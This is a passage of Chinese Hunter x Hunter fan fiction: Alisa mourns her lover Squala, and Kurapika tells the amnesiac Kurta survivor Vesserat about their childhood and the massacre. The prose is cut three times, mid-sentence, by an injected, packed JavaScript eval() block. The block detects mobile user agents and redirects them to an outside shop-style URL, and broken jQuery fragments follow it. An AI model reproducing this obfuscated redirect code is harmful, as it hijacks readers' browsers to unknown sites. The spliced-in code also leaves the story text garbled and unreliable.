不是不介意维瑟拉特糟糕的回复,亚里砂完全没有在认真听她说了什么。光是说出恋人史库瓦拉的事情就已经消磨掉她的全部勇气了,剩余的那点果敢都没办法支撑她继续挺拔地站在。她弓起后背,试图痛苦也一并折叠起来,即便如此还是难以承受,她干脆坐在了草地上。小狗们挨得更近,用脑袋碰她,在这个微凉的秋日与她抱团取暖。接下来她说的一切就不那么像是对维瑟拉特的关心,而是纯粹地吐露了。 “你大概也能想到我为什么会说保镖的工作很危险 ,当然是因为进行着这份工作的他死了,死在友克鑫,就在拍卖会的那段时间。我知道拍卖会的工作会很危险,去世的同伴也不只是他而已,所以我也很担心。可是他说没问题,等拍卖会的工作结束之后就辞职,带着他的小狗们还有我,我们一起搬到郊外去住。可是……” 她停在这里,低下头,把脸埋在掌心里,声音愈发沙哑,大概是哭了吧。维瑟拉特觉得这个间隙很适合插进一句回应,于是她说:“嗯。” 依旧是很糟的回应,本人对此当然毫无自觉。她只想到了一件事——感觉亚里砂的叙述还要持续好久,还是再点一根烟吧。 崭新的尼古丁气味爬上亚里砂的发梢。她沉默了很久,才接着说下去。 “我忘了是谁说的,但是有人告诉我,史库瓦拉是在和我通话的不久之后被杀死的。对方的意思可能是想安慰我。你明白吗?就是那种,‘他死前听到最后的声音是心爱的你’,类似这样的意思。可我不觉得这是安慰。会不会是我的电话拖慢了他的行动?在我们说起未来的时候,他最好的逃亡的机会是不是已经溜走了,未来就这么消失无踪了?我一直在想这种事。” “嗯。” “他是带着狗一起逃的,他死的时候,狗也一直待在他的身边,哪儿也不去。酷拉先生把他的狗都带回来了……他说,他替史库瓦拉报仇了,他制裁了杀死史库瓦拉的那些家伙。这明明是值得让人高兴的事情,可我怎么也高兴不起来。我还是很想念他,想最后我们说的,离开诺斯拉家之后要过的人生……” “是嘛。” “大家都安慰我,也体谅我,我自己也知道,总有一天我要往前走,可是……好难。关于他的事情,我直到今天才敢像这样说出来……啊,抱歉,你会讨厌听我说的这些事吗?” 维瑟拉特想了想,摇头,“不会。” “真的吗……谢谢你。” 亚里砂扯了扯嘴角……不对,她现在是在笑。 有点怪的是,笑着笑着,她的眼泪越淌越多,但她一定是在笑没错。 “以后……”她喃喃着,“以后该怎么办呢……彻底放下他的死亡之前,我该怎么办?” 维瑟拉特意识到自己的角色从旁观者变成了参与者。倒是不觉得紧张或是怎样,只是不由自主地又挠了挠头顶,“你在征询我的意见吗?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885967|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 很奇怪,这时候愣神了的反而是亚里砂。她一时也不知道该怎么回应才好了,只是忍不住想,这突如其来的求助肯定给对方带来了额外的心理负担吧。或许应该收回前言,可她真的想要得到一个解答,哪怕是糟透的回应。 迟疑着,她点了点头,而维瑟拉特几乎没有多谢,便开始说了起来。 “可以只想着那个人的好,把对死亡的悲伤好恐惧放在我的身上,然后你的这些心情就可以消失了,因为我不会死。” 说着这话时,她没有在看亚里砂,一如既往只盯着自己的鞋尖。 “我还没有遇到过会夺走我性命的事情。不是因为我运气好到躲开了每个致死性的事件,而是那些危机没能真的杀死我。当然了,我没觉得自己一定不会死,但这应该不是很快就会发生的事情。就算我死了也没关系,这样一来,那个人离开所带给你的悲伤,也会随着我的死亡一起消失。” 明明说了安慰的话,亚里砂看起来却更难过了。真纳闷。 “嗯……或许是吧。可是,”她说,“我希望你不要死。” “我不会死。”维瑟拉特把说过的话又重复了一遍。 她很认真地这么说,反倒让亚里砂有些不懂。如果维瑟拉特的话语真的是纯粹的对于事实的描述的话,那究竟是什么意思吗? 亚里砂很想问为什么,话语还未说出口,却被不巧地打断。有人正在唤她。估计是工作上的事情吧。 职责在身,任何时候肯定都是工作更加重要。她匆忙起身,拂去和服上的草叶,匆忙赶过去,跑开了一段距离之后才想起来要对维瑟拉特说再见,维瑟拉特的回应完全没能追上她的脚步。 而后,小狗们也散开了,肯定是觉得维瑟拉特还不够有趣,而最爱的亚里砂也已离开,干脆甩甩尾巴回到狗窝。维瑟拉特干脆也学着狗的做派,抽完烟,打算回到地下一层的房间。 不过,用来盛烟灰的漂亮小盘子该怎么办?维瑟拉特想不好,觉得可能还是得交给亚里砂帮忙处理。等她有空的时候再去找她吧。 维瑟拉特端着盘子回去,推开房门,却有一个身影正要从里头走出来。 应该没走错房间吧?维瑟拉特抬头,挂在门上的标签确实是熟悉的那个序号。她收回目光,看向屋内的不速之客。 嗯,似乎也不是什么“不速之客”。 “抱歉,我不是想来做什么奇怪的事情。” 她的老板酷拉皮卡看起来分外窘迫。 “我只是想来看看你,可发现你好像不在,所以我正准备走,凑巧就……” 总之,纯粹是意外而已,绝非居心叵测。 “好。”维瑟拉特看起来很平静,“现在我在了。” “是的……你接下来有什么事吗?” “没有。” 别说是接下来了,估计余生都没活要干。她想。 “那么。” 酷拉皮卡像是松了口气, “抱歉,我说的‘明天再见’来的有些晚,但我论如何,我来了。我可以和你说一些以前的事情吗?” 8.鱼饵x念能力x无需失望 原来说好的“明天”就是现在。 在看着酷拉皮卡的时候,维瑟拉特这么心想着。 所以,终于要进行正经的沟通了,他一定也会说起和他自己还有她有关的事情。维瑟拉特并不觉得好奇——在这时候冒出好奇心会让她觉得像是在卡尔玛拉家的小少爷面前抬起了眼睛,绝对不是该在这种时候做出的事情。期待当然也是不存在的。 就和被便利屋作为火红眼的藏品出售那样,她现在没什么特别的心情。 但无论如何,仅限于两个参与者的对话肯定需要安静的环境,所以她早早地就阖上了门,把窄窄的一小扇气窗也锁紧,而后才把装着烟灰的瓷碟随手摆到茶几上,等着酷拉皮卡坐下之后,才拖开他对面的凳子。 要是细心一点,一定能发现酷拉皮卡今天穿着的并非上次见面的西装,而是深蓝色绣着金色花纹的窟卢塔服饰——好吧,其实这是很明显的变化,就算不那么细心,也一定会发现的。 可酷拉皮卡注意到,维瑟拉特似乎并未察觉到这点变化,从目光到表情,全都没有任何触动。或许是因为她并不在意这种事吗?真不想承认这一点,但他确实很不清楚现在的维瑟拉特会拥有怎样的心思。 同样也不太想承认的是,她这种木然的确让酷拉皮卡有些失落。 他是特地换上这身衣服的。如果没有在走向地下一层的前一秒,想到族人的服饰或许会唤醒维瑟拉特的亲近感甚至是对过去的记忆,那么现在站在她面前的应该是穿着紧绷西服的死板的他。但仔细想想,冒出了这种期许的他好像有点太自以为是了。还是慢慢来吧。 酷拉皮卡努力地笑了一下,先向她道了歉,“最近需要处理的家族事务太多了,直到今天才抽出空来,抱歉让你等了很久。” “没关系,酷拉老板。” “你在这里还习惯吗?” “还好。” 问什么就回答什么,绝不给出节外生枝的答案或是想法。明明是有来有回的询问,却让人打心底地觉得无力。酷拉皮卡有点不确定该怎样开启接下来的话题了,但长久的沉默又难免显得尴尬。纯粹只是为了充实这一刻无言的沉默,他伸手去倒茶,顺便替维瑟拉特也倒了一杯。 恰好是在这个时候,酷拉皮卡注意到她的目光动了动。在此之前一直耷拉着注视地面的她异色的眼眸,此刻正追着他的右手,短暂地注视了几秒。但当真只有几秒而已,等他发现时,她的视线已经像河蚌那样缩回去了。 是了。他忽然想起来,在友克鑫的初次见面——无论是在旅馆房间时第一次见到她,还是在被逃犯重伤彻底丢失记忆后她认为的首次与他见面,她的视线都曾落在自己的手上。 试探性的,酷拉皮卡向她伸出手,缠绕在指间的锁链碰撞出微弱声响。维瑟拉特抬了抬眼。 简直和钓鱼没有区别,他试探性丢下的诱饵居然真的得到了一些什么。 “你对我的手很感兴趣吗?”酷拉皮卡笑着问她。 “嗯……”她想了想,“算是吧。酷拉老板。” 一如既往,是完全不会节外生枝的简短应答,她并没有接着说她的理由。但没关系,酷拉皮卡会问出“为什么”。 “很少见到用锁链被用作武器。”她说,“每次看到都会想,如果是我,该怎么使用它。” “原来如此……” 和酷拉皮卡所想的稍有不同,好在不是什么出乎意料的回答。 “之前在友克鑫的时候,看到你在风衣里藏了武器。” 说着,酷拉皮卡忽然想到,自己过去也习惯把刀藏进衣摆。但这点相似并非来自他们相同的血脉,想了想,他没有把这点和自己有关的事情说出来,只接着说, “你比较擅长用刀,是吗?” “算是。” “为什么给出了不那么确信的回答?” “因为一般主流的武器我都很擅长。当时拿出了刀,是因为正好拿到了刀。” 她的风衣里还藏着鱼线、手枪、小刀和胡椒喷雾——在某些时候,胡椒喷雾也是很有用的,结实的马口铁喷雾瓶足够砸开头盖骨。但这么细节的事情还是别和新老板说了。 “另外,我很想问你……”她的新老板说到这里的时候稍稍迟疑了一下,“那天——在友克鑫的那天,我亲眼看到你被……” 被□□打烂了脑袋?被赋予了必死无疑的重伤?不管怎样的措辞,无论是温和的还是直白的措辞,酷拉皮卡都觉得难以启齿,干脆把话题糊弄般地揭了过去。 “但你没有死。可以告诉我为什么吗?当然,如果你觉得这和你的念能力有关,不便直言的话,也没关系。我可以理解。” 维瑟拉特静静地坐着,没有任何被质问的不快,就和初次见面那样,没有多余的任何情感。她点了点头。 “可以,这不是不能说的事情,我的念能力也不会因为被知晓而出现弱点。” 这话可能带着一点自信的色彩,不过说着这话的维瑟拉特本人却看不出什么自信。她只是在叙述既定的事实罢了。 “我是强化系的念能力者,主要的强化方向是治愈能力。对我来说,气一整个完整的存在,紧紧附着在躯体之上,所以当躯体出现破损或缺失,损坏的那部分气会重新连接起来,带动着躯体一起回复完整,然后在消耗一部分的气对伤口进行愈合。原理就是这样。另外需要告诉酷拉老板你的事情是——我觉得这件事在我之前和你说起我的缺点的时候没有提到——我记忆力不好。” “这件事你和我说过。” “好。我重伤后容易丢失记忆,这个也说了吗?” “……没有。” “好。那我现在说了。如果你需要知道原因的话,是因为我抛弃了‘痛感’。以前便利屋的人和我说,人的记忆是和痛楚还有欢乐联系在一起的,我为了不再感受到痛苦而主动摒弃了对疼痛的感知,作为代价失去了对记忆的掌控。所以,我的记忆力很差。” 酷拉皮卡想,他不由自主地一直在想,她曾经可是会被疼痛刺激到跳起来的孩子,会大叫着手指要掉了。 真的很想知道关于她的更多事情,但如果挖掘 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“我不是你的老板……”一直都是,他想,“就和以前一样,叫我酷拉吧。好吗?” 她眨了一下眼,没有犹豫,“明白。” 如果酷拉皮卡在这句请求中寄托了期待,那她遵命般的回应一定会让期待落空。他忍不住苦笑了一下。 “我们以前是朋友,而且是很轻而易举地就成为了朋友,可能是因为我们年纪一样吧,你出生在三月,我的生日在四月。”他说,“还记得我和你说的吗?我们是红眼睛的窟卢塔族的同胞。” 因为抛出了询问——虽然只是自言自语般的反问——所以维瑟拉特给出了回应:“记得。” “我们的族人与世隔绝,生活在深山的密林。你的父亲是来自其他国家的民俗学家,母亲是窟卢塔人。我记得你们长得很像,都是红头发,你说你金色的那只眼睛就是母亲继承给你的。” “嗯。” “那时候,你和派罗是我最好的朋友。但你和派罗有点不一样。他是我从出生就认识的伙伴,和你的相识倒是要更晚一点。你很喜欢去各种山洞里探索,我们一起走过了好多的地方……你知道窟卢塔被灭族的事情吗?” “不。” 对于他告知的一切,她没有提出任何质疑,照单全收,却让酷拉皮卡觉得空落落的。为什么不提些问题呢?为什么不好奇呢?无力感一定又要钻进他的身体里了。他呼了一口气,告诉自己,沮丧和失望都太不礼貌了,他不能因为他的朋友没有做出符合预期的行动而自顾自地失落。 “那些卖了你的人也没有和你说起过吗?” “没有。” 酷拉皮卡一时居然说不出这究竟是好事还是坏事。他动了动唇,五年前的惨案几乎要脱口而出,却又被胸腔强烈的痛楚拦住。 最后,他说出的只是: “在窟卢塔的惨案发生之前,你失踪了。” 9.百分百x失踪之人x目的 小时候,酷拉皮卡曾听父亲说过,他们窟卢塔人现在所居住的地方是百分百安全的——虽然这时候妈妈肯定会插嘴一句“世上没有百分百的事情啦!”,然后爸爸露出很窘迫的吃瘪表情,半句反驳都不好意思说,而酷拉皮卡自己则是笑个不停。 “总之,不用太担心,酷拉皮卡。” 窘迫过后,父亲会摸摸他的脑袋,继续说下去。 “还记得长老说的吗?窟卢塔人的所在处很隐秘,所以很安全。猛兽不会袭来,也不会用心怀歹意的外人。” “可是。”酷拉皮卡费劲地抬起头,看着比他高出了好多的爸爸,“小维的爸爸就是外人啊。” “唔……这倒是。可他不是心怀歹意的家伙,而是和我们生活在一起的伙伴,所以也不用担心,不是吗?” 酷拉皮卡眨眨眼,确实没办法否认:“说得也是啦。” 那时他很赞同爸爸的说法,后来才意识到妈妈的论调才该是正确的。世上没有百分之百的安全这种事。 至少在幻影旅团踏上窟卢塔这边洁净土地的两年之前——在他与维瑟拉特刚刚过完十岁生日之后的不久,这份让人放心的安全感就已经出现了裂纹。 最初是听到有谁在说,有个孩子失踪了。而后绿眼睛的外乡人敲开酷拉皮卡家的房门,焦急到近乎慌张,问他们有没有看到过他的女儿维瑟拉特。 “你是她最好的朋友,是不是知道她去哪里了?” 外乡人急切地拽住他的手腕,过分的不安把他惨白的脸拧成了好苍老的样子。 “拜托了。你们最后去的是什么地方?你上次是在哪里看到她的?你、你知不知道她可能去的地方?” 说实在的,那一刻酷拉皮卡确实有点被吓到了,过分迫切的询问也很像是审讯,差点将记忆也一并冻结。他磕磕巴巴地说出了自己能想到的全部回答,但其实他有几天没有见过维瑟拉特了,她的感冒一直没好,没办法和他还有派罗一起出来玩。她会去的地方更是一无所知,维瑟拉特想法宽泛且四散,任何地方都可能成为她的探险地。 无论如何,至少他确实说出了一点什么。绿眼睛的外乡人在他说完之后就立刻冲出了家门,连谢谢都忘记丢下。 在他的背影远去之后,才感觉到母亲一直在紧紧地握着他的手,仿佛他也将要丢失。酷拉皮卡迟钝地意识到,失踪的孩子是他的朋友。 在那之后的很长一段时间,窟卢塔的大家都在帮忙寻找维瑟拉特的踪迹。她的母亲说她失踪的前一天晚上喝了药,很早就睡下了,一整晚她都没有听到任何奇怪的声音,醒来却发现床铺空空如也,早就失去了曾有人停留于此的温度。 维瑟拉特到处都不在,村子里也没有外人入侵的迹象。如果能找到她的足迹就好了,不巧最近恰逢连日的暴雨,就是她当真留下了什么痕迹,也已经尽数消失了,寻遍周围的山野根本找不到她的踪影。 酷拉皮卡也想和大人们一起去找她,可大家说他还是小孩,不能做危险的事。他只能和派罗一起坐在家里,猜想维瑟拉特可能会在的地方。 “她应该不会是梦游了吧?”派罗说,“我从没听小维说她梦游过——梦游这么重要的事情她一定会告诉我们的。” “是啊。” 她可是连掉落的虎牙都要拿来给他们看的,如此稀奇的梦游经历怎么可能不说呢?但如果不是梦游,又会是怎么回事? 酷拉皮卡倒在地毯上,不自在地挥舞着四肢,小声嘀咕:“她到底去哪儿了……” 谁也不知道她的去向,谁也不知道她会在何处。窟卢塔的大家再也没见过维瑟拉特。 长老给出了合理的猜想。他说维瑟拉特可能是遭遇了猛兽的袭击,是时候该放下她离开的痛苦了,或许应该放手向这个孩子道别,可他的父母拒绝置办没有尸体的葬礼。他们坚信女儿只是走得太远,流落到了外头的城镇,找不到回家的路了。一定是这样。 最近的城镇,就算乘在全速疾驰的陆行鸟的背上,也要花费大半天的时间。她真的能走这么远吗?酷拉皮卡忍不住想。 她的父母依然固执地寻找着女儿,哪怕剩下的只是骨头也想要寻到。 有时候,走在密林里,酷拉皮卡也会想要知道她会不会躲在某颗树后,但是没有。她不在那里。 只在某个山崖下,和派罗一起找到了迷路受伤的少女。她给了他们讲述外界故事的书。他对世界的向往从这一刻开始点燃。 外面的世界有可以治好派罗的眼睛和双腿的药。而且,要是小维父母的猜想没有错,说不定她也在那里呢?好想去。 然后,他努力学习世界的新知识。 然后,他通过了长老设置的试炼。 然后,他得到了离开密林的机会。 然后,他见到了外界陌生的一切。 然后,…… “蜘蛛来了。” 酷拉皮卡其实不那么想要对维瑟拉特说起窟卢塔被灭族的事情。如果可以,最好永远不说。 只要不说出口,就可以顺理成章地假装惨剧从未发生了。但必须要说。他不希望当维瑟拉特满怀期待地询问与父母有关的事情时,他给出的只是令人失落的回答——尽管现在的维瑟拉特,大概不会对他的叙述提出更多的疑问。 既然如此,细节就不说了吧。幻影旅团为了刺激出窟卢塔人的火红眼而故意在他们的面前折磨亲人的事情也不要告诉她。他只选择说:“他们杀死了所有窟卢塔人,夺走了他们的火红眼,在我们重逢之前,我是幸存于世唯一的窟卢塔人。我正在找回所有族人的眼睛。” “好。” 依然是过分平淡的回应。 酷拉皮卡并不是觉得不满,他已经告诫自己不要失望了,但他第一次很希望维瑟拉特能够多说一点什么,说出她心里想的一切,哪怕她的内心和流浪汉的钱包一样空空如也。 “无论说出怎样的话也没关系,做出任何行动都可以,不需要任何我的提问或是许可,在我面前你可以说出你的所有想法……因为我们是朋友。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16907786|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 是血脉相连的、这世上最后的族人。 听到了锁链的颤动声,或是他的手在颤抖吧。他似乎给予了她很大的自由。 维瑟拉特思考了一下——她惊讶于自己居然做出了“思考”这个行动,上次动用思维是多久之前的事情?她都已经想不起来了。 思考,而后伸出手。 她的指尖伸向酷拉皮卡攥紧的拳头,捏住了他的锁链。嗯,果然是硬邦邦的。 她一直挺想做这件事的。她想摸摸他的锁链。 如果还拥有对温度的感知,她将察觉到锁链的寒冷。不过硬邦邦的第一印象也差不多足够了。 “这是我们见面的原因,是吗?你想要找回同胞的眼睛,而我是被售卖的火红眼。” “是的。” 锁链被除了自己以外被的人触碰,这其实会让酷拉皮卡感到很不自在。但做出了这个唐突动作的是维瑟拉特,无论怎样违和的心情,一定全部消失了。 “要说我的想法,其实我也没什么特别的想法,希望你听到我这么说不要生气。但对于以前的事情,我确实什么都想不起来。” 她很难得地抬起了眼眸,盯着天花板上的灯泡。这幅神态一定是要深思熟虑思考自己该说点什么的人才会摆出来的姿态,可她好像也没有耗费太多的时间进行思考,话语就这么自然而然地说出来了。 “加入便利屋的事情也没什么印象了,能想起来的最早的事情是在卡尔玛拉家当掘墓人,但就算是掘墓人的记忆也不那么完整。我主动丢弃了记忆,想不起来也很正常,虽然我也不知道我为什么要做出用记忆兑换无痛的交换,回过神来我就已经是这种不会死也感觉不到温度的存在了。说实话,你和我说的关于窟卢塔的所有事情,我没有很特别的触动,也不觉得很难过。我应该表现出难过吗?如果有需要的话我会照做,尽管我觉得自己很像是在听其他人的故事。火红眼……我还没看过自己的眼睛变成红色,便利屋的人想尽了办法也没能让我的眼睛再次变成红色。” 似乎在某些时候,她会冒出来很多话。这点倒是和小时候一样呢。 每当这种时候,酷拉皮卡会觉得,这个与维瑟拉特完全一致的外壳,找回了独属于她的品格。 “你拥有火红眼。”酷拉皮卡说,“我见到过。” “好。什么时候?” “你头部的重伤愈合的时候。” 他依然挑选了最温和的说辞。 维瑟拉特眯起眼。她进行了“回想”的行动,不过什么也没想到。毕竟那时候并没有镜子映出她的面孔,那时的心情也不太想得起来,但估计挺生气的。她一向不喜欢脑袋受伤。她也不会质疑老板的说辞,酷拉皮卡讲述的一起,她全盘接受,不会有任何疑问。 “我明白了。那么,酷拉老……酷拉,你有什么事情是需要我帮忙做的?” 她松开手,锁链沉沉地垂下去。 “需要我帮你继续找火红眼吗,或是为你杀死窟卢塔灭族的元凶?” 10.违和x未来x梦境未成真 酷拉皮卡很细致地控制住了自己的话语,他完全没有对维瑟拉特诉说过关于自己的复仇,甚至连自己的复仇心都没有暴露过半点。既然如此,她为什么会说出“为你杀死窟卢塔灭族的元凶”? 是因为,此刻在她的心中,满满地盛着他无意之间灌输给她的仇恨吗?真糟。他明明不想让事情变成这样的……以前的小维或许也不会说这种话吧。 不得不承认的是,如今的维瑟拉特是个很难读懂的存在。她不再那么像是那个他反复咀嚼的记忆中存在的那个人了,也一定不是一眼就能看穿全部心思的那个爽朗的孩子,除却外表的一切都带来一种诡异的陌生感。 不。不能觉得陌生,也不违和。人会成长,这很正常,她的变化理所应当,哪怕酷拉皮卡始终不知道如今的她与记忆中的落差源于何处。他只能想,一定是分离的时间把他们塑造成了无法理解彼此的存在。 在他揣摩着回答的当下,维瑟拉特就静静地等待着,不那么急切,看起来对于他可能给出的回答也没有过多的期待,眼眸依旧低垂着,让人怀疑这双异色的眼睛是不是吸走了她本该拥有的一切情绪。但她再一次握住了他的锁链,可惜感觉不到她指尖传来的温度。 “我想。”酷拉皮卡花了点时间才决定好了该说出怎样的回答,“你不需要去做这么可怕的事。你知道的,复仇不会构成美妙的回忆。” “明白。” “我不知道你对未来的期望是怎样的,也不清楚你自己会想要做些什么。如果可以,我希望你可以自由自在地活下去。我没有想要把你一辈子留在诺斯拉家,说到底,我自己也不会一直留在这里……”他的声音稍稍变轻了一点,真心话完全是一不小心地从他的话语之间漏了出来,短暂地停顿半秒之后,他继续说下去,“再等半年……或者一年之后?友克鑫黑市的便利屋曾经售出过一只火红眼的消息应该就会彻底被忘记了,我觉得那时候是你开启新生活的最好契机。在此之前,就留在这里吧。尽管诺斯拉也有自己的麻烦,但不管怎么说,家族一定能够保护你。” 因为是有他在的诺斯拉家族,这个家一定能够保护她。 在这时候,维瑟拉特才短暂地抬了抬眼皮,视线贴着额前垂落的碎发边缘投过来,很难得的能从她的表情中看到一点困惑的意味。她想了想,才点了一下头,一贯常说的“明白”的话音被拖得有点长。 所以说,她现在的工作就是什么都别做,对吧? 维瑟拉特松开手,再一次让锁链垂下去。咔啦咔啦的清脆声响。她没再说什么了——不是藏着想法却没说,而是心里空空如也,半点念头也没有了。酷拉皮卡也没再出声,尽管他的胸膛早已被各种各样的情绪填满,但非说不可的话似乎已经没有了。其他的、不那么重要的事情,以后有机会的话再说给她听吧。希望到了那时候,她也可以愿意主动对他说点什么,就像小时候那样。 他们还会有以后的时间呢。 又坐了两分钟,酷拉皮卡才告辞,维瑟拉特送他走到楼梯。她一向在礼貌方面做得很不错,虽然她好像还没意识到在别人的身旁抽烟是一件很不礼貌的事情。 合拢房门,将气窗敞开一些。从细细缝隙中漏入的已是彻底暗淡的天色。原来他们谈了这么久吗?完全没有概念。 维瑟拉特没有去回想酷拉皮卡说过的话,当然也没在挖掘自己记不清的幼时记忆,就连做梦也没有梦见和窟卢塔有关的任何事情,明明以前还听人说过“梦境是对白天经历之事的重新整合”的这种说法,看来是骗人的说辞。 啊,不对,这番说辞貌似不是在骗人。她虽然没有梦见酷拉皮卡所说的在窟卢塔聚集地曾经一起经历过的那些往事,但梦境里确实出现了亚里砂。她一副哭红眼的模样,薄薄的双唇翕动着,发出很轻柔的声音,编织出来的却是根本听不懂的话语。梦里的自己试图给出一些回应,可吐露的话语仿佛透明,变成一团气泡撞到亚里砂的肩上。接着,她就醒了。 这算是美梦还是噩梦呢?感觉有点不便轻易定义。非要说的话,只要是能够顺利醒来的梦,应该就不算太糟糕。 敲门声,并且是敲在了她的门上。不知是谁想要来拜访她这个无名小卒。 维瑟拉特翻身下床,一边赤脚往前走,一边随意地把自己裹进外套里。打开门,出现在视野中的是亚里砂的面孔。 ……看来梦还没醒。现在可以把她的梦定义为“噩梦”了。不过噩梦要怎么醒来才行来着? 依稀记得以前好像看到过有人通过扇巴掌的方式把熟睡的目标叫醒,得到的效果还挺有效,可惜对她没用。她又感觉不到疼痛。 那么通过心理暗示,在心中不停不停重复“让我醒来让我醒来让我醒来”?怎么想都觉得好像太过唯心论。 维瑟拉特久违地陷入同时陷入了纠结心情和复杂思考之中,如果有镜子她就会知道自己露出了怎样迷茫的表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16919025|191976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情,难怪亚里砂也不由得愣了一下。 “我是不是打扰到你了?”她很不好意思地问。 现在能听到她的话语了。看来这一刻并不是梦境呢。 但是不至于为了这点小事感到松一口气,不过维瑟拉特确实下意识地将门敞开了一些。 “没有。” 一如既往,她的回应很简单。 得到了令人安心的回答,亚里砂忍不住笑起来。她看起来还是那副稍稍憔悴的模样,但眼底藏着的悲伤确实缓和了不少,或许可以归功于她们昨日在庭院的谈话吧——当然,如此细微且精妙的变化,维瑟拉特绝不可能察觉到。 正如此刻,亚里砂等待着维瑟拉特在说出“没有被打扰”之后接上一句“有什么事吗”,她却彻底安静下来了,没有主动丢出询问,只睁着一双眼睛看自己,气氛流动着些许微妙的僵硬感。 “是这样的。” 亚里砂主动说——再不主动的话说不定要在维瑟拉特的门前站一辈子,亚里砂有这样的预感。所以即便当那个打破沉默的人真的很尴尬,她也还是开口了。 “我突然想起来,昨天给你的盘子还没拿回去。还在你身边吗?” 维瑟拉特点了下脑袋。 “那麻烦把盘子拿给我吧,我放回原位。” “好。” 瓷盘就摆在一旁的小茶几上。维瑟拉特个子高,手臂也长,只有稍稍后仰一些,就能触碰到瓷盘的边缘了。她轻巧地把盘子撬起来,用指尖托着,递给亚里砂。 不太确定是不是错觉,瓷盘里的烟灰小山好像变高了那么一些。 亚里砂捧过盘子,却没有告辞。 “那个……”她显得有些迟疑,却又透着一点小小的期许,“我还想问问,你今天会很忙吗?” “不忙。” 岂止是不忙,维瑟拉特根本就无事可做。 “是、是嘛。”迟疑开始缩起触角,亚里砂的期待一点一点开始膨胀开来了,甚至不自觉向她走近了一步,“其实,我有事想要拜托你帮忙。” “可以。” 亚里砂好意外,“我还没说是什么事呢,这就答应了吗?” “嗯。我可以帮忙。” 反正也没别的事可以做。 亚里砂对于她的心思一无所知,只沉浸在了期待没有落空的这点小小欣喜中,迫不及待地说: “那,我们一起去遛狗吧!” 11.小差事x风险评估x花束 嗯,看来情况已经明了——亚里砂特地敲响维瑟拉特的房门,就是想要邀请她一起去遛狗。 尽管最终目的说得兜兜转转遮遮掩掩,但不管怎么说,至少确切地说出口了没错。不管怎么想,能勇敢地迈出第一步,就算的上是胜利没有错了。 亚里砂尽量不让自己显得太过急切,像是在很焦急地期待着她的肯定答复(这样的做派肯定会平白无故给人添上一大堆压力),可她此刻的模样看起来确实有点像是小狗(不是贬义)。 她等待着维瑟拉特的答复,而这确实需要耗费一点时间。 按照一贯的职业素养,维瑟拉特理应立刻给出肯定的答复,绝不能让对话的对象认为她在迟疑,而评估可行性和风险这一环节完全可以在说出“没问题”之后再进行——尽管维瑟拉特永远会忽略评估风险的这一步,干脆果断地给出肯定答复。 但很奇怪,她现在确实久违地在评估风险了,甚至还没来得及先应一声好。 毋庸置疑,她在遛狗方面的经验为零,是否存在信心也无法预估。维瑟拉特不确定自己是否会被动物讨厌,谁叫她走路时经常不会留意从脚底下经过的小型动物和昆虫。好在遛狗不是那种会触发生命危险的行动,就算没有完美完成应该也不至于挨骂或是怎样。 花完了上述这点思考,维瑟拉特做出决定,点了点头——其实就算评估风险的结果为“我一定无法完成遛狗的工作”,她依旧会答应亚里砂。有求必应也是她正在遵守的良好职业道德。 于是,一手攥住八根狗绳,欢快的大狗小狗们蹦跶着往前走,拍在路面上的爪子碰撞出啪嗒啪嗒的清脆声响。有几只大体型护卫犬的狗绳由亚里砂牵着,她说担心这几个孩子太折腾维瑟拉特。 “要是就一个人溜这么多狗的话,还挺累人呢。” 走在人行道上,亚里砂用时不时的闲谈填满维瑟拉特的寡言。 时间还早,街上笼罩着一层浅白色的雾霭,湿漉漉的草叶气味安静地漂浮在空气中,比任何时候都要浓郁。亚里砂不自觉地常常抚摸发梢,担心长发会被这个潮湿的清晨濡湿。 今日份的遛狗计划是,往北一直走到钟楼,绕过教堂后,沿着架在黎荫河上的钢桥走回到诺斯拉家的宅邸,用不着太久,差不多四十分钟就能回来了。 “之前,我常常一个人带着所有的狗出去……好吧,其实也不能说是常常。”亚里砂偏过脑袋,为这点小小的“谎话”感到有些不自在,但还是接着说,“仔细想想,我差不多也就溜了他们两三次而已。其他时候,我都有点提不起劲做事。明明我知道自己不该是世上最伤心的人,可就算压抑着自己不去感受,也还是时不时地感到难过。” “是嘛。” “关于狗的事情,酷拉先生说,会找其他人来帮忙饲养,这份工作不是一定要由我承担。我心里也知道,别人一定能比我更好地照顾这些孩子们,可我怎么也放不下。” “嗯。” 远处传来钟声,钟楼的尖顶已然穿透晨间薄雾,浅浅地立在眼前。小狗们似乎也很兴奋,脚步愈发轻快,但都乖乖地没有往前冲。亚里砂露出一副很骄傲的表情。 “这些孩子们都很乖吧?它们也很体谅人呢。就算知道我没空带它们出去玩,也明白我不像史库瓦拉那么懂得饲养小狗,它们还是会乖乖待在我的身边。真的……都是一群好孩子呢。” 